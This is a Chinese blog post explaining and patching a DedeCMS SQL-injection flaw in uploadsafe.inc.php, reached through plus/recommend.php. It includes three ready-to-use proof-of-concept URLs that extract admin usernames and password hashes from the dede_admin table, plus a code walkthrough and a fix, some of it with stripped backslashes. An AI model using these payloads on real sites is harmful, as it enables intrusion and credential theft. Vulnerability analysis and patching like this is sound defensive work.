dedecms上传漏洞uploadsafe.inc.php 整理

自从买了阿里云的ecs 之后每次出现漏洞阿里云盾就会通知，前段时间部署的项目检测出上传漏洞根据网上大神们的博客整理了下，下面这个是可行的 dedecms上传漏洞uploadsafe.inc.php，这里

自从买了阿里云的ecs 之后每次出现漏洞阿里云盾就会通知，前段时间部署的项目检测出上传漏洞

根据网上大神们的博客整理了下，下面这个是可行的

dedecms上传漏洞uploadsafe.inc.php，这里整理了大神们对于这个漏洞的解释

1. 漏洞描述

1. dedecms原生提供一个"本地变量注册"的模拟实现，原则上允许黑客覆盖任意变量
2. dedecms在实现本地变量注册的时候，会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理
//$key值注入不在本文讨论范围内，详情参阅：http://www.cnblogs.com/LittleHann/p/4505694.html
3. 在处理文件上传的逻辑中，存在一条攻击路径，程序自己"反处理"了addslash逻辑，使用于闭合的单引号重新获得攻击效果，造成SQL注入

Relevant Link:

http://0day5.com/archives/1346

2. 漏洞触发条件

0x1: POC1

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

?action=
&aid=1
&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=4294

0x2: POC2

http://DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]='  or mid=@`'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873

0x3: POC3

http://DEDE/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23

0x4: POC入侵方式

1. 原始数据
%27%20or%20mid=@`%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+

2.URL提交进来后， 和 ’ 分别被转义成  和 ’
' or mid=@`'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`

3.URL被带入include/common.inc.php中检查，此步数据未发生变化

4.然后来到了include/uploadsafe.inc.php中，经过第行str_replace后，被过滤成了，用于攻击闭合的单引号重新获得攻击能力
$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\", "", $_FILES[$_key]['tmp_name']);
' or mid=@`'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`
此时引号被成功的带入了查询语句中

5.回到plus/recommend.php中，第38行，此时SQL语句被拼成如下：
SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='' or mid=@`'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`'` '

Relevant Link:

http://www.xuebuyuan.com/2095280.html
http://0day5.com/archives/1346
http://loudong.360.cn/blog/view/id/17

3. 漏洞影响范围

4. 漏洞代码分析

从/plus/recommand.php开始逐步分析

require_once(dirname(__FILE__)."/../include/common.inc.php");
..

/include/common.inc.php

..
function _RunMagicQuotes(&$svar)
{
  if(!get_magic_quotes_gpc())
  {
    if( is_array($svar) )
    {
      foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
    }
    else
    {
      if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
      {
        exit('Request var not allow!');
      }
      $svar = addslashes($svar);
    }
  }
  return $svar;
}
..

只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE，即可通过检查，_FILES[type][tmp_name]被带入引发漏洞的入口点在/include/uploadsafe.inc.php

..
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}
..

/include/uploadsafe.inc.php

..
//URL参数中的_FILES[type][tmp_name]，$_key为type，$$_key即为$type，从而导致了$type变量的覆盖
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\","",$_FILES[$_key]['tmp_name']);
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z./]','',$_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);
..

/plus/recommand.php

//读取文档信息
if($action=='')
{
  if($type=='sys'){
  //读取文档信息
    $arcRow = GetOneArchive($aid);
    if($arcRow['aid']=='') 
    {
      ShowMsg("无法把未知文档推荐给好友!","-1");
      exit();
    }
    extract($arcRow, EXTR_OVERWRITE);
  } 
  else 
  {
    //注入语句被带入数据库查询，
    $arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `dede_member_stow` AS s LEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
    if(!is_array($arcRow)){
      ShowMsg("无法把未知文档推荐给好友!","-1");
      exit();
    }
    $arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid'];
    extract($arcRow, EXTR_OVERWRITE);
  }
}

5. 防御方法

/include/uploadsafe.inc.php

/*  */
//$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\","",$_FILES[$_key]['tmp_name']);
$$_key = $_FILES[$_key]['tmp_name'];
/* */
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
  if(!defined('DEDEADMIN'))
  {
    exit('Not Admin Upload filetype not allow !');
  }
}
if(empty(${$_key.'_size'}))
{
  ${$_key.'_size'} = @filesize($$_key);
}
/* 限制上传文件类型 */
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png", 
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
  $image_dd = @getimagesize($$_key);
  if (!is_array($image_dd))
  {
    exit('Upload filetype not allow !');
  }
}
/* */

文件/include/uploadsafe.inc.php。

有2个地方：

1、搜索 ${$_key.'_size'} = @filesize($$_key); }(大概在42,43行左右)

替换成

${$_key.'_size'} = @filesize($$_key);

} $imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp"); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if($image_dd == false){ continue; } if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }

2、搜索 $image_dd = @getimagesize($$_key);(大概在53行左右)

替换成

$image_dd = @getimagesize($$_key); if($image_dd == false){ continue; } 老规矩大红色地方标记了修改的地方，然后保存，接着备份原文件，比如文件名变为uploadsafe.inc.php.16.08.09.bak。然后上传修改好的文件即可。